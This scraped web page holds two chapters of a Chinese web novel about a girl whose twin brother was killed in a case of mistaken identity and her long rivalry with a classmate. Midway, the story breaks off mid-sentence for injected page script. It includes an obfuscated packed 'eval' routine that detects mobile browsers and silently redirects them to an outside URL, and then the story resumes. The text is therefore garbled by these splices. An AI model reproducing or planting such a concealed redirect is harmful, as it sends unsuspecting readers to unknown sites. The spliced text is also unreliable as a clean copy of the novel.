() { $(''.inform'').remove(); $(''#content'').append('' 梁。梁阿姨做饭很好吃,因此每个学年都能招满人。 今天一中没开学,人少了一半,梁阿姨就只安排了一张桌子,她将筷子取出来往桌上摆,又叫学生们去拿餐盘盛饭菜。 冯山月在她身边垂着眼睛帮忙,身后坐着几个四中的同学,她能感觉到来自他们的惊诧目光。 上个学期她进门时,还穿着一中的校服,开饭的时候使唤她哥帮她盛饭收拾,自己还要见缝插针地背几个单词。 平时这家小饭桌里总是男生坐一桌女生坐一桌,不分学校,都坐在一起了,同桌的学生怎么也会聊聊天。只有冯山月专心吃饭,吃完就继续学习,态度永远礼貌而疏离,最多和她哥说上两句。 现在她成了他们的同校同学,先是大早上和王于英一起罚站,又是午休时在校门口讥讽一中那位学生会主席,短短半天已经让全校人知道了这位转学生的大名。 在冯山月今天中午进门之前,小饭桌里的四中学生都还在谈起她——冯山月和袁驰居然认识。 要知道,上个学期袁驰也在这家小饭桌吃饭,同样是一副谁也不搭理吃了饭就读书的架势。 众人回忆一番,发现其实冯山月的哥哥经常会找袁驰说话,可说来奇怪,所有人都默认袁驰和冯山月不熟。 谁能想到今天中午在校门口这两人聊上了,还聊了个大的。 正当他们议论纷纷,冯山月推门进来了,身后不见那个总跟着她的哥哥。进门时用目光扫了他们一遍,有人大着胆子和她打招呼,她竟然点头表示回应。 给人的感觉更惊悚了。 一种古怪的氛围在小饭桌里蔓延,大家都不怎么说话,你看看我我看看你,眉来眼去交流。 梁阿姨察觉今天气氛不对,开始找他们拉家常,问他们期末考试成绩。 这一问,更是把一群人都问沉默了,去盛饭的速度一个比一个快,逃跑似的。 冯山月除外,她又在一中考了第一,回答起来毫无心理压力。 梁阿姨对学习好的孩子总是偏爱些,之前看冯山月为了赶时间吃得快,总是不厌其烦地唠叨,让她慢些吃注意胃。今天冯山月突然过来给她帮忙,她简直是受宠若惊,都不知道该和她聊些什么,只一个劲地笑。 而就在饭菜盛好,众人准备开饭时,突然听到外面传来奔跑的脚步声。 冯山月摆碗筷的时候就发现了数量上的端倪,因此有所预期,第一个回头看去,眼神凌厉。 门被推开的力道有些大,“砰”地一声撞上阻门器。 袁驰按住门,对梁阿姨点点头,知道冯山月要避嫌,故意不看她,站稳了平复呼吸。 一中没开学,四中的学生们不知道他要来,有些讶异。 紧接着一个身影从他身后窜出来,同样也在喘着气,脸上带着点懊悔。 四中学生的眼睛一下子瞪大了,认识她的人喊出了声。 “二姐?” 王于英也没看冯山月,因为心虚。 要怪就怪她大意了。 进老小区以后,袁驰才转过脸来,意识到王于英仍抱着拦下他的决心不肯离开。 于是他站住了,掏出手机说他要打个电话,让冯山月出来见他。 王于英这次没拦着,心想人家不接你电话,你有什么办法? 一边腹诽一边打量这个小区,觉得冯山月不像是会住在这里的人。 结果他袁驰,堂堂学生会主席,平时装高冷拿架子,走路都揣着兜像在扮酷的人,说时迟那时快,趁王于英分心,突然攥着手机拔腿就跑。 他搞偷袭! 得亏王于英是练体育的,反应快腿也长,立刻就追了上去。 上一次进行这种你有本事别跑你有本事别追的幼稚活动还是在初中,王于英一边跑一边忍不住骂了袁驰两句,结果他屏着气不回应,反而趁机加速。 老小区里七弯八绕,王于英吃了地形的亏,落后半步,却也没让袁驰甩掉她,最后两人几乎是同时冲到了梁阿姨小饭桌的门口。 梁阿姨直起腰,看着门口两张面孔,尽管有点疑惑,脸上却已习惯性挂起热情的笑容。 她对袁驰招手,又看向王于英,说话时带点北方口音:“袁驰,你带朋友来啊?瞧这姑娘,大高个,真利落。正好今天饭有多,要不要一起吃点?” 6. 06 袁驰头也没回,把包从肩上卸下,径直往里面走。 王于英迎着梁阿姨笑容洋溢的脸,抬腿迈出半步,又缩回去了。 梁阿姨还在招呼她:“来呀孩子,今天有个学生去画室了,不来吃饭。多了份饭,阿姨正愁没人吃呢。” 这客厅里只摆了一张桌子,王于英不觉得冯山月愿意和她坐在一起吃饭,但答应冯山月的事情没做到,总得给她一个交代。 她终究还是朝冯山月看过去。 整张饭桌,只剩她身边还有一个空位,她也意识到了这一点,瞥了眼往厨房走的袁驰。 二人眼神轻轻地擦过,冯山月立刻转头,对王于英招手。 “来,你坐这里。” - 袁驰端了两份饭出来,把其中一份放在王于英面前,什么也不说,只递了个眼神给冯山月,莫名有点邀功的意思,像在说“看我在帮你招待你朋友”。 冯山月没好气地把筷子戳进土豆块里。 第一,她可没请他帮忙,第二,王于英也不算她朋友。 她只是不想把那个空位让给袁驰罢了。 袁驰端着另一份餐盘,走到离冯山月最远的长桌那头坐下。 那里有梁阿姨新添的一把椅子。 王于英拿起筷子翻了翻盘中饭菜,有点怀疑袁驰会在里面加东西,又觉得他不至于无耻到这个地步。 桌上有她的同班同学,起了个话头问:“二姐,原来你们认识啊?” 身旁的冯山月没反应,王于英迎着对方好奇的目光模糊地嗯了一声,也不再戳弄盘子里的饭了,大口吃起来,一副不想多说的样子。 她动筷子以后,桌上别人见问不出什么,也陆陆续续开动。 梁阿姨撑着腰看这群高中生吃饭,心中油然而升一股投喂小鸡仔的成就感,说了声你们吃,转头回厨房收拾,客厅里安静下来。 桌上其余人一边吃饭一边吃瓜,不时用眼神悄悄地瞟最晚进来的这三位,不知道是在演哪一出。 袁驰坐下之后就闷头吃饭了,带着一股速战速决的气势,像是有更重要的事等着他吃完饭以后做。 王于英是吃得最香的那个。正是长身体的年纪,再加上每天都要大量地运动,这让她格外珍惜每一次进食,不管发生什么,先好好吃饭,这是她的一贯准则。 冯山月却一改平日的吃饭速度,慢悠悠地捡盘子里的蔬菜吃,每一口都嚼很久,一副若有所思的样子。 大约吃了几口,她把筷子放下,拿出手机打字,随后起身朝厨房走去。 她刚进厨房,短信提示音在长桌的另一端响起。 袁驰咀嚼的动作顿住了,响的是他的手机。 他抬起眼睛,视线穿过长桌,跟随冯山月的背影,可她头都不回。 看来发的不是什么好话。 周围一群人猜什么的都有,恨不得伸脖子过去看冯山月给他发了什么。 袁驰做好心理预期,打开手机。 【我不介意当着他们的面让你滚。】 他面不改色,打字发送。 【为什么转学?告诉我,我就走。】 冯山月从厨房出来了,依旧无视袁驰的目光。 梁阿姨陪着她,两人竟直接出了客厅大门,随后传来上楼的动静。 小饭桌楼上那套房子也是梁阿姨的,小饭桌不开张的日子里,她就住在上面。 如果是为了避开他,也实在太大动干戈了吧? 袁驰把手机调成静音,没心思吃饭了,干坐着等冯山月的回复。 楼上的动静变小了,没多久,冯山月发来新短信。 【我说了你就走?走了以后,再也别出现在我面前。】 在键盘上打出一个“好”字,只需要一秒钟不到。 可袁驰的指尖悬在屏幕上方,迟迟没有按下去。 就连在“讨厌对方”这件事上,她也要赢他吗? 胃在隐隐抽痛,可能是吃太快了,又或是因为别的。 他将手机扣在桌上,抱起胳膊,背靠在椅子上,侧头朝旁边看。 室内开了热空调,学生们的外衣都脱了往客厅的沙发上扔,冯山月的白羽绒服被孤零零地挂在一旁的落地衣架上。 这件羽绒服是年初时在市中心那家商场里买的,买回来以后冯山月从没穿过,因为袁驰有一件相同款式的,而她才不要穿着同样的衣服被大人们拉着比来比去。 买衣服那天是袁驰的生日,两家的大人都在,袁驰爸爸出钱给三个孩子买了同款的羽绒服。 落地试衣镜很窄,袁驰站在中间,冯山月就站他右边。 两个人都很适合穿白色,衬得人精神,他和冯山月在导购的夸赞声中一起朝着镜子看去,眼神在镜中交汇而过,又因为没想到对方会看向自己,飞快地移开。 这件衣服冯山月穿起来比他好看。 这个想法在袁驰脑海里一闪而过,又被他按下去。 他知道,如果他把这句话说出来,冯山月一定会认为他阴阳怪气。 至于冯山月,她直接把羽绒服给脱了。 不远处,冯燕芳在吩咐:“郑海阳,把妹妹的衣服一起拿过来。” 冯山月的哥哥姓郑。 她家男孩和爸爸姓,女孩和妈妈姓。 这还是冯燕芳争取来的,樟市是小地方,郑家人当初听完这个要求差点闭过气去,说孩子在学校里被别人说闲话怎么办,冯燕芳冷笑着说你们不答应我就去打胎,省得孩子被说闲话。 最后还是同意了,给男孩姓郑,女孩姓冯。 老郑家的期望这个孙子有大出息,没想到从小到大天赋异禀的那个都是冯山月。 郑海阳自己都习惯给妹妹当跟班了,可逢年过节,爷爷和几个大伯还总是用恨铁不成钢的眼神看他。 有一次爷爷喝多了,拉着郑海阳红了眼眶,说你这个妹妹是厉害角色,当初在胎里就抢你的营养,所以才比你聪明。给郑海阳吓得半年没敢回爷爷奶奶家。 这则往事是郑海阳当笑话讲给袁驰听的,当时他们在打球。 那天是他去世的前一天,也是寒假开始的第一天。 那天晚上袁驰的爸爸有应酬,喝了很多酒,妈妈打电话让他买解酒药送过去,郑海阳在旁边听到,说陪他一起去。 他知道袁驰最不喜欢看到他爸喝醉的样子。 袁驰他爸是建筑公司的老板,年轻时很穷,后来靠拆迁发家做起了生意,和儿子不同,一副暴发户的做派,喝醉的时候更是口无遮拦,什么粗俗话都往外说。 两个男生到了饭店门口,恰巧当天穿的都是那件白羽绒服,大家都以为袁老板有两个儿子,说他好福气。 袁老板一手拉一个,扯着嗓门喊他们都是我的好儿子,知道心疼我给我送药。 郑海阳笑嘻嘻地说了声谢谢干爹,没让他下不来台,也没叫自己平白无故多认个亲爸爸。 袁老板没管,又亲热地喊了好几声儿子。袁驰在旁边臭着脸看他爹发酒疯,相比起来,倒真是郑海阳更贴心,更像他的儿子似的。 王勇斌是这个时候找上来的,还叫两个工地上的工友给自己壮胆。 他在人群外围叫住那个刚吐完回来的项目经理,搓着手,局促地问新工程怎么不找他。 项目经理吐得头昏脑涨,直接嚷嚷开了,说你打麻将欠钱的时候催债电话都打到我手机上了,我还敢用你? 袁老板之前做生意被赌钱的人坑过,听见了项目经理的话,叫王勇斌过去见他。 王勇斌诚惶诚恐,又有些兴奋,到了大老板的面前,却见大老板拉着郑海阳的手,说孩子你看,这种赌狗,不能和他打交道,没有好下场。 王勇斌的脸一下子就黑了。 那天的最后场面闹得很难堪,王勇斌的工友拉着他,袁驰和郑海阳把他爹架走,周围的人打圆场,差点惊动饭店的保安。 回家的路上,连郑海阳都笑不出来了,袁驰爸爸酒劲儿上来了敌我不分,差点对着他脑袋来了一巴掌。 原本这只是件不愉快的插曲,很快就会被忘记。 直到第二天下午,袁驰去了李老师家。 老李在学校里教英语,寒假在外面开班赚外快,冯山月和郑海阳也是他的学生。 今天下午一中的高三英语期末考出分,明天才发布,老李能提前看到成绩,知道袁驰和郑海阳熟,就让他通知兄妹俩有空来他家领寒假要做的卷子,顺便看一看英语分数。 袁驰打电话给郑海阳,那个时候,郑海阳的情绪听上去有些不对。 袁驰还以为是因为昨晚的事,当着老师的面也不好道歉说我爹发酒疯连累你了,正尴尬着,冯山月把电话接过去了。 她说,她一个人来领,郑海阳要回家做晚饭。 没想到她来的时候,脸色也同样不好看。 袁驰猜她是和郑海阳吵架了,这倒是稀罕事。这对兄妹上高中以后就再没吵过架了,冯山月要考华京,郑海阳等着妹妹一人得道,自己当鸡犬升天,凡事都伺候着,很少给她脸色看。 袁驰摸摸脑袋,觉得不好掺和,干脆闭嘴假装看不见。 结果分还没出,他的电话先响了。 是妈妈打来的,声音有些抖,说我叫司机来接你,你回家别出门。 他还没挂断电话,冯山月的电话也响了。 她接起电话后皱眉,说要去医院一趟。 袁驰本想说我叫我家司机送你,但冯山月走得很急,而且只要郑海阳不在,她绝不单独和他坐车。 他只好看着冯山月的背影消失在视野里。 晚上他爸爸神情恍惚地回来,拽起袁驰,要带他去冯山月家,给冯山月一家下跪。 妈妈给了他一个耳光,说你疯了,你的错还要连累儿子? 听着父母的争吵,袁驰终于知道发生了什么。 那天夜里闹事的王勇斌认错了人,要报复袁老板的儿子,今天傍晚,在学院街的后巷里,他用破碎的酒瓶底刺伤了郑海阳的脖子。 王勇斌在街上吹了一个小时的冷风,才想到去自首。 但郑海阳因为被发现得太晚,错过最佳抢救时间,没救过来。右颈部静脉破裂,失血性休克致死。 袁驰当时在做卷子,笔尖在纸页上洇出一团墨迹。 原本该躺在太平间里的是他。 不可抑制地,脑海中先冒出劫后余生的庆幸,然而片刻之后,令人窒息的恐慌与悲伤排山倒海般袭来,到最后连那点庆幸都被良心反复鞭笞指责,消失殆尽。 明明是昨天刚见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563106|171402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,明明今天下午还通过电话,一转眼对方就躺在太平间了。 脑海中有几秒是完全空白的,渐渐地,他又想到另外一件事。 那她呢,她现在怎么样了? 直到葬礼,他才见到冯山月。 马上就要过春节了,外面的街上到处都是红彤彤的装饰,她家里的摆饰却都被收了起来,一家子穿着黑衣服站在白墙旁边,素净得有些凄惨。 袁驰从没见过冯山月哭,那一次也没有。 她远远地站着,望着遗像发呆,她爸爸看到袁驰一家来了,要拉冯燕芳和她一起来见他们。 两家友谊的开端源自这两个父亲,冯山月的爸爸眼眶还红着,却故作大度拍拍袁驰的肩膀,说你和郑海阳谁死我都不希望,你不要自责,好好准备高考。 冯燕芳当时站在他背后,看他的眼神像一把刀。十月怀胎的不是他,他最没资格说谅解的话。 袁驰没接话,却听到冯山月远远地说:“反正我希望死的不是我哥。” 她爸爸回头骂了她一句没礼貌,转身又对袁驰一家苦笑,说这孩子自从郑海阳去世之后就是这样,小孩子太伤心了,你们别计较。 袁驰的父母自然是不敢计较的,理亏在先,怎么补偿都不为过,哪里有胆子多说一句她的不是。 只有袁驰在心里静静地想,她早就是这样了,以前在你们面前装得好而已,你们是没看到她私下怎么说我。 这么想着,突然又觉得能被她骂几句也好。 他甚至有些希冀地看着冯山月,盼望她就这么注意到他的视线,用一贯的伶牙俐齿讥讽他,他这次一定低下头不反驳,如果那样能让她好受些。 然而冯山月一次都没有看他,直到葬礼结束,才突然找到他。 她说:“以后我们别见面了。” 离近了才看清她惨白的脸,眼里的血丝,因为眼底因为长久失眠而生出的轻微的黑眼圈。 袁驰垂着头,本来想说开学之后也会遇到的,不过如果你不想看见我,那我会主动避开你。 但是他最后什么都没说,既不好用前半句去反驳,也说不出口后半句。 十二年来,他和她的竞争像一场漫长的拔河游戏,谁先松手,对方都要跌倒。 他不会松手,也不想跌倒。 - 关门声响起,紧接着是下楼的脚步声。 冯山月和梁阿姨从门外进来。 梁阿姨去厨房端汤,冯山月坐回到餐桌前。 她抬着头,没动筷子,视线在桌上扫了一圈,像是要说些什么。 袁驰下意识坐直了身子。 他没有回复冯山月的短信,但如果冯山月就这样说了呢? 她当众说出她转学的原因,不管和他有没有关系,她给了他一个答案,然后说现在你没有要问的了,走吧。 来之前,他下定决心要听到一个答案,现在却有些迟疑了。 他抬手,要去拿桌上的手机,想发点什么给冯山月。 不管发什么,总之先用短信打断她的话。 可他看见,冯山月突然望着众人笑了一下, 那是一个很纯粹的微笑,没有带任何负面情绪。 袁驰想破脑袋都猜不到冯山月在笑什么。 因为这个想法过于无厘头,冯山月是被它逗笑的。 她在长桌的这一端,看着所有人,想到接下来要说的话,脑海里浮现出历史书上的一副插图。 《最后的晚餐》。 她开口了,先叫的是袁驰和王于英的名字。 “你们不是想知道我转学的真正原因吗?” 所有人都竖起耳朵,吃饭的响动消失了,所有的眼睛看向她。 而她也一双一双地看向那些眼睛。 “寒假里一中有个学生死了,那个人是我哥。”她把在四中传了一上午的小道消息坐实,没给任何人反应时间,继续说,“在救护车赶到之前,有一个四中的学生去过案发现场,把我哥的钱包拿走了。我来四中是为了找人,让那个人把我哥的钱包还回来,那是一件对我来说很重要的遗物。” 屋子里一片死寂,人们面面相觑。 而冯山月说完以后,脸上的笑容不但没消失,还扩大了。 这一次,袁驰读懂了其中的含义。 从小到大,一如既往,每当冯山月憋着点坏水想做什么,有人要因此倒霉时,她就会露出那样的笑容。 而王于英望着她的神情,终于醍醐灌顶,今天上午她的视线总在人群中梭巡,究竟是为了什么。 她真的在找人。 与王于英的恍然大悟不同,袁驰在消化完冯山月的话之后,轻轻地吸了一口气。 原来她转学不是为了他,而是真的另有原因。 比起“再也不见”带来的失落,最先从后颈蔓延开,让他心跳硬生生空了一拍的情绪是另一种。 他感到毛骨悚然。 这张桌子上,有件事只有他知道。 冯山月的话最多只有一半是真的。 如果真的有一个四中的学生去过现场,从郑海阳身上拿走了一样东西,那件东西绝对不会是钱包。 郑海阳一直以来都是手心向上找冯山月要钱的。 他根本没有钱包。 7. 07 出生的时候,冯山月比郑海阳要重半斤。 爷爷没说错,她从娘胎里就是占上风的那个,并且如此延续了十八年。 吃奶她吃得多,说话她先学会,上幼儿园之前抢玩具她哥就没赢过,上幼儿园之后她开始展现出头脑上的优势,每天拿到全班最多的小红花,再用小红花从她哥手里换老师发的餐后零食。 后来郑海阳终于意识到一张贴纸并没有香喷喷的小蛋糕划算,反正放学时老师对家长优先表扬的还是妹妹,于是抱着蛋糕不肯撒手,被冯山月一个头槌后抢了过去。 至此,冯山月无师自通了武力镇压。 后来开始学写名字,班上小朋友好奇地问,你们俩怎么不是一个姓,冯山月说我在妈妈肚子里打赢了哥哥,所以我和妈妈姓,他只能和爸爸姓。 老师把这事说给父母听,郑杰听完笑得尴尬,冯燕芳绷着脸说小孩子乱讲话,眼睛却亮亮的,抬手摸了摸冯山月的脑袋。 回去的路上,两位家长拌了几句小孩子听不懂的嘴。 爸爸说,当初让你别这么做,现在外人还以为我们偏心。 妈妈说,我一视同仁,区别对待的是谁你心里清楚。 最后这场争吵还是以妈妈的胜利告终。 妈妈总是胜利的那个,家里所有人都听妈妈的话。冯山月幼儿园时一直以为大人们结婚前会先打一架,打赢的在家里当老大,而她家里打赢的人那个人是妈妈。 妈妈总是很严厉地管着孩子们吃饭睡觉,读书写字,不许驼背,不许离电视太近,不许把碗里的青菜扔掉。她笑得不多,只有做得足够好才能获得她的笑容,所以她每一次笑都弥足珍贵。 而爸爸的气焰始终被妈妈压一头,轮到他单独带孩子时总是手忙脚乱,只好以“妈妈要生气了”恫吓,才令两个孩子服帖。 两位家长都在国企上班,冯燕芳要比郑杰职级高,人脉也广。逢年过节有下属和朋友拎着礼物来拜访,总会用方言亲昵地喊冯山月小名,说月宝儿以后肯定有出息,冯姐,你这孩子和你一个样,从小就聪明。哦还有阳阳,阳阳又长高了,真可爱。 郑杰在旁边默默地喝茶,也跟着笑,笑容却没那么灿烂。没过几天他说要带孩子回父母家,于是去了爷爷奶奶那边,被人围着嘘寒问暖的就变成了郑海阳,而冯山月在旁边撇嘴。 亲情、友情、爱情,每一段足够深入的关系里总有占上风的那个。从相识起,角力就开始了,像两只手在掰手腕,越是贴得紧,感受到对方手心的温度,越是因为用了更大的力气。 这种微妙的平衡在她和郑海阳之间持续了很长一段时间,那时候她最好的玩伴是哥哥,最大的对手也是哥哥。 直到六岁那年的一个下午,冯山月扇了隔壁班那个叫袁驰的小矮个一巴掌。 自此,命运指引这两个家庭相遇,未来的轨迹朝另一条路偏移。 那是学校举办的背诗比赛,站到最后的只剩下冯山月和袁驰。 两人把学校发的唐诗册子从头背到尾,没分出胜负,老师正准备评个并列第一打圆场,冯山月抬起下巴看一眼袁驰,开始背圆周率。 彼时袁驰还是个话唠,又被暴发户老爹宠成了小霸王,见到对方开始念听不懂的数字,不管三七二十一,也跟着背,冯山月背一段他背一段,背了好几长段,被老师叫停。 冯山月说我赢了,他背的都是我背过的,我比他记性好。 袁驰说放屁,你在乱编,我还能把你编的数字一串一串重复出来,我记性才比你好。 冯山月瞪他一眼,说没见识,这叫圆周率。 袁驰他爹穷人乍富,最讨厌别人说他没见识,袁驰耳濡目染,也知道这个词不好,当即搡了冯山月一把,看她长像个洋娃娃,没舍得太用力。 没想到冯山月一巴掌就呼了回去,极响亮的一声,用了过去六年揍郑海阳的全部功力,打完就跑。 台下顿时安静了,老师还没发作,袁驰先哭出了声,边哭边追着冯山月要打回去。 郑海阳本来在看热闹,见状一个箭步冲上去拽他衣服,用动画片主角的语气高喊“不许打我妹妹”。 结果和袁驰打了个半斤八两,还是冯山月跑回来对着袁驰脑门又来了一下,兄妹俩才重占上风。 冯山月和哥哥长达六年的内斗画上句号,从袁驰动手推搡冯山月开始,兄妹俩的战线就此统一,革命情谊空前深厚。 这件事以老师叫家长告终。 四个大人在老师办公室见面,冯燕芳一进门就训孩子,用词虽然文雅,配合她的冷脸却杀伤力极强。 这时,对方孩子的爸爸突然叫出她丈夫的全名,嗓音洪亮,充满惊喜。 当年的初中同学就这样意外地相逢了。 袁驰爸爸小时候穷,冯山月爸爸没少接济他,三十年河东三十年河西,曾经占上风的那个如今只是国企职员,受恩惠的那个却当上了老板。二人各自心里滋味不同,却终究感到几分故人相见的亲切。 冯燕芳的朋友比丈夫多,家里遇到事要找人帮忙时,总是她在奔走。 现在郑杰多了个颇具财力的故友,尽管境遇倒转,也不妨碍他撇开自尊心,抓住机会与人拉近关系。 而袁向东一直记着郑杰的恩情,也颇有回报之意,毕竟施恩总比受恩让人舒服。 再者,他只有初中学历,郑杰冯燕芳在他眼里是文化人,近朱者赤,和人家多学学总没错。 中途还听郑杰说给孩子取名时学了国外的潮流,各随一方姓,袁向东认不全外国地图,也不懂是哪国潮流,只知道文化人自有文化人的讲究,连连点头说好。 三个小孩子还在恶狠狠地瞪着彼此,就听到话题转移到了自己身上,两家互相对了一番出生日期,袁向东把袁驰一拉,说来儿子,给你山月妹妹道歉。 郑海阳大怒:“不许抢我妹妹!” 冯山月不忿:“他那么矮,凭什么不叫我姐姐?” 袁驰悚然:“我道歉?她打我那么重!” 三个人长达十二年的恩怨从此拉开序幕。 袁驰和冯山月一样,总能考双百分,两家大人每逢见面都要问问孩子成绩,郑海阳是最先被略过去的那个,随后就听到大人们热情地夸赞对方的孩子考了满分,又谦虚说自家孩子是运气好,小聪明。 大人在那儿互吹,孩子们已经杠上了。 冯山月随着年龄增长,逐渐发现打人的代价太高,自己也要挨训,又被老师斥责女孩子家不该那么粗鲁,也不说心里是否认同,总之先决定改换战术。 她从冯燕芳那儿学会了嘲讽技,主打一个攻心。今天说袁驰是小矮个,明天又说他讲话粗俗,最后还要激将一句谁告家长谁没骨气。 袁驰每逢见面就要被冯山月从头到脚贬一通,回去必定奋发图强狂吃三碗饭,再打两个小时篮球给自己增高,从爸爸那里学来的脏话也戒掉了,誓要从各方面比过冯山月。 至于郑海阳,他已经深谙妹妹惹事家长必定连坐自己的道理,以前是他给冯山月帮腔,后面发现妹妹一个人的战斗力就顶两个他,为了不把袁驰惹哭引来祸患,他成了在中间打圆场的那个。 于是冯山月和袁驰吵两句,又能在郑海阳的周旋之下玩一会儿,玩到两家大人要散场回家了,走之前才想起来互相放两句狠话,要是哪天忘记了,回去的路上还怪惦记的。 三人一边吵一边玩,也有过不少忘记前仇旧怨、笑成一团的时候。 直到六年级的某一天,冯山月叫住袁驰,要和他绝交。 那天是学校的期末文艺汇演,冯山月担当合唱团的指挥,在台上大出风头,活动结束后她心情很好,甚至大发慈悲地决定在合照时拉袁驰一起。 却听到有人议论:“袁驰说冯山月脾气坏人缘差,最讨厌的女生就是她。” 她脸上的笑容消失殆尽。 郑海阳转头就走,去隔壁班揪住袁驰的衣领,说我妹妹再怎么样,从没在背后说过你坏话,你有话就堂堂正正地当面说,少来阳奉阴违的那一套。 那是袁驰第一次向冯山月低头道歉。 彼时他已经戒掉了从父亲身上学来的粗口,连话也变少了,隐约能看出日后那副沉默寡言模样的影子。 他想了半天,只吐出一句:“对不起,但我当时不是那个意思。” 问他原话是什么,却又说不出口,只一遍遍重复“我没想和你绝交”。 冯山月第一次如此轻松地在斗嘴中获胜,便决定宽宏大量一次。 后来偶尔回想起他当时的样子,突然发现袁驰低头时可以看到他有很长的睫毛。 第二次道歉在初三。 上初中后,成绩排名不再像小学那样,随随便便就能凭借双百分考并列第一。 每个年级的第一名往往只有一个,三个人进了同一所初中同一个班,冯山月和袁驰争第一的位置争了三年。 冯山月的世界在这个时候发生了更多变化。 从前她对世界的认知总是朦胧的,人情世故的东西听不懂,也不屑听,随着进入青春期,像是从茧蛹里挣破了一个口子,外界的声音与景象清晰起来。 比如家里的两个大人,外人面前怎么看都十分恩爱,私下里却仍在微妙地抗衡着。 妈妈不喜欢去爸爸那边过年,她讨厌那群亲戚用忌惮的目光打量她。有时候亲戚们会对照冯山月和郑海阳的成绩单,无可奈何地叹气,妈妈总在这个时候故意揽住她,露出自豪的笑容,顺便斜一眼爸爸。 爸爸会更偏心哥哥一些,尽管哥哥考不到妈妈要求的分数,爸爸也会给哥哥买新球鞋,再在妈妈生气时拿出给冯山月准备的新MP3,以此让妈妈消气。 爸爸不爱她吗?妈妈不爱哥哥吗? 也没有,只不过冯山月终于意识到,一碗水端平太难,谁都有自己偏爱的那一个,妈妈偏爱她,爸爸偏爱哥哥。 就像上了初中,男生爱和男生玩,女生爱和女生玩。 学校里,同学们开始按性别自动地分成两派,原本和她同仇敌忾的郑海阳开始和袁驰称兄道弟,冯山月不甘示弱,转头找班上女生做朋友。 但是说来惭愧,她的性格的确算不上好,从小骑在哥哥头上作威作福惯了,再加上遗传冯燕芳那副霸道性格,和同学相处的时候难免会起摩擦。 她当着对方的面不肯低头道歉,被朋友单方面绝交了才回去伤心。 妈妈听完她倾诉,皱着眉想了想,说你不需要在这里交朋友,你要做的就是好好学习,进一中的尖子班,再考上好大学,去省会,甚至去首都,去那里结交和你相同水平的朋友。 冯燕芳是从农村出来的,小时候去镇上读初中还要走山路,有时候放学晚,伴随她回家的只有山间升起的月亮。 她在月光下走了三年,从农村里考出来,自己挣学费上高中,再到樟市上大专,在这里工作、成家。 回顾过去,冯燕芳最遗憾的是当初没能考上大学,村镇的教育水平就那样,她也不是天才,只是个拼了命读书的普通人。 可她的女儿不一样,冯山月从小就聪明,有着和她一样的好胜心,这孩子无论如何也不能留在这个小地方,和一个她没那么爱的人凑合过日子,甚至逢年过节还要看夫家的脸色。 于是,冯山月没从妈妈那里得到安慰,只看到她板着脸,说我给你和你哥报了补习班,多做几张卷子比这些无用的交际要强得多。 她和郑海阳开始辗转在各科补习班之间,唯一全程同班的只有袁驰,毕竟两家关系好,会共享补课资源。 兜兜转转,除了郑海阳,和她相识最久朋友还是袁驰。 可冯山月却不再像以前那样在他面前放肆了。 造物主的手在青春期降临,短短几年,少男少女的身躯被飞快地拉长,改变形状。 男生的喉结开始突出,硬硬的骨头撑起肩膀,说话的声音被砂纸摩擦过似的沙哑;女生的身体有了曲线,校服里面穿上内衣,每个月都有几天要拿着卫生巾去洗手间。 连和自己的亲哥哥,在家里都有避嫌的时候。冯山月早上起来出房间时总被妈妈叮嘱要穿好衣服,不许只穿T恤和内裤乱跑,郑海阳也被爸爸教育,夏天回家不可以一进门就脱掉T恤打赤膊,男女有别。 再见袁驰时,他因为变声期而沉默了许多,冯山月也在交友时吃过嘴快的亏,明争暗斗里不再有明争,两人无论如何也不会像小时候那样不顾形象地厮打。 最多是冯山月习惯性讥讽几句,而袁驰要么用眼神否定她的话,要么简短而不屑地“切”一声,自己走开。 暗斗却还存在,甚至愈演愈烈。 冯山月已经能看懂大人之间的暗流涌动。 比如,爸爸和袁叔叔见面时总是搭着肩膀称兄道弟,回到家后,却状似无意地提醒冯山月,要考过老袁家的那个小子,给家里长脸。 再比如,妈妈不喜欢她和哥哥收袁叔叔的名牌礼物,把东西拿回家的第一件事永远是计算要花多少钱去还人情。 青春期是自尊心与虚荣心最膨胀的时候,少年人一无所有,吃穿都是父母给的,只有成绩是自己挣的,学校里的同学如果不讨论成绩,只剩下比较家境。 袁驰家有钱,两家聚餐时,袁向东总是抢着买单,也不管这种行为会给冯山月父母带来心理负担。 在学校里也能听到人谈论袁驰家境,说他家有两辆车,奔驰奥迪换着开,还说他手上那支电子表要一千多,是国外的最新款,樟市买不到,要找代购。 冯山月在这方面逊一筹,心里憋着一口气,要在成绩上更胜他。 初中三年,只计算大考,她比袁驰多拿了一次年级第一。 原本可以是两次,但初二下学期的期末考时出现了意外。 那天的最后一门英语开考前,冯山月在洗手间里听到隔壁有男生议论她。 一个公鸭嗓笑得很难听,说冯山月是袁驰家的童养媳,从小就认识了,见过双方父母,他还在放学的时候见到冯山月单独上袁驰家的车,谁知道他们在后座有没有牵手,说不定还亲嘴了。 再往后还有更难听的揣测。一些色/情片里才有的脏污词语从那个人口中吐出,冯山月用洗手间涮拖把的桶接满水,拎着出去,走到男厕所门口。 上初中以后,她就彻底退隐江湖,走起了以理服人的路线,同学只知道她说话不好听,没见她打过人。 那个男生根本不觉得冯山月会动手,甚至认为她是女生,脸皮薄,对着她扮鬼脸,说你有本事就进来,装什么纯,说不定早就看过男生的那里了。 冯山月直接闯了进去,一桶水把他浇了个透湿。 紧接着,郑海阳听到动静也赶过来,一进来没问冯山月为什么打人,先冲上去帮她把喊得最凶的那个放倒。 最后是袁驰,他带着教导主任一起赶到,到场后冲上去拉架,“不小心”将那个公鸭嗓绊倒在地上,摔坏他一颗门牙。 参与打架的所有人都缺考了这一门,罚站的罚站,请家长的请家长,道歉的道歉,赔钱的赔钱。 在主任办公室里,袁驰对着那几个男生一字一句说,我喜欢的只有学习,说完后却忍不住转头看冯山月脸色。 冯山月绷着脸,飞快地接了一句我也是,仿佛只要犹豫那么一点,就会在“谁更爱学习”这件事上被袁驰比下去。 袁驰的表情有些复杂,冯山月无暇顾及,她骄傲地挺直脊梁,证明自己才是那个最心无旁骛学习的人。 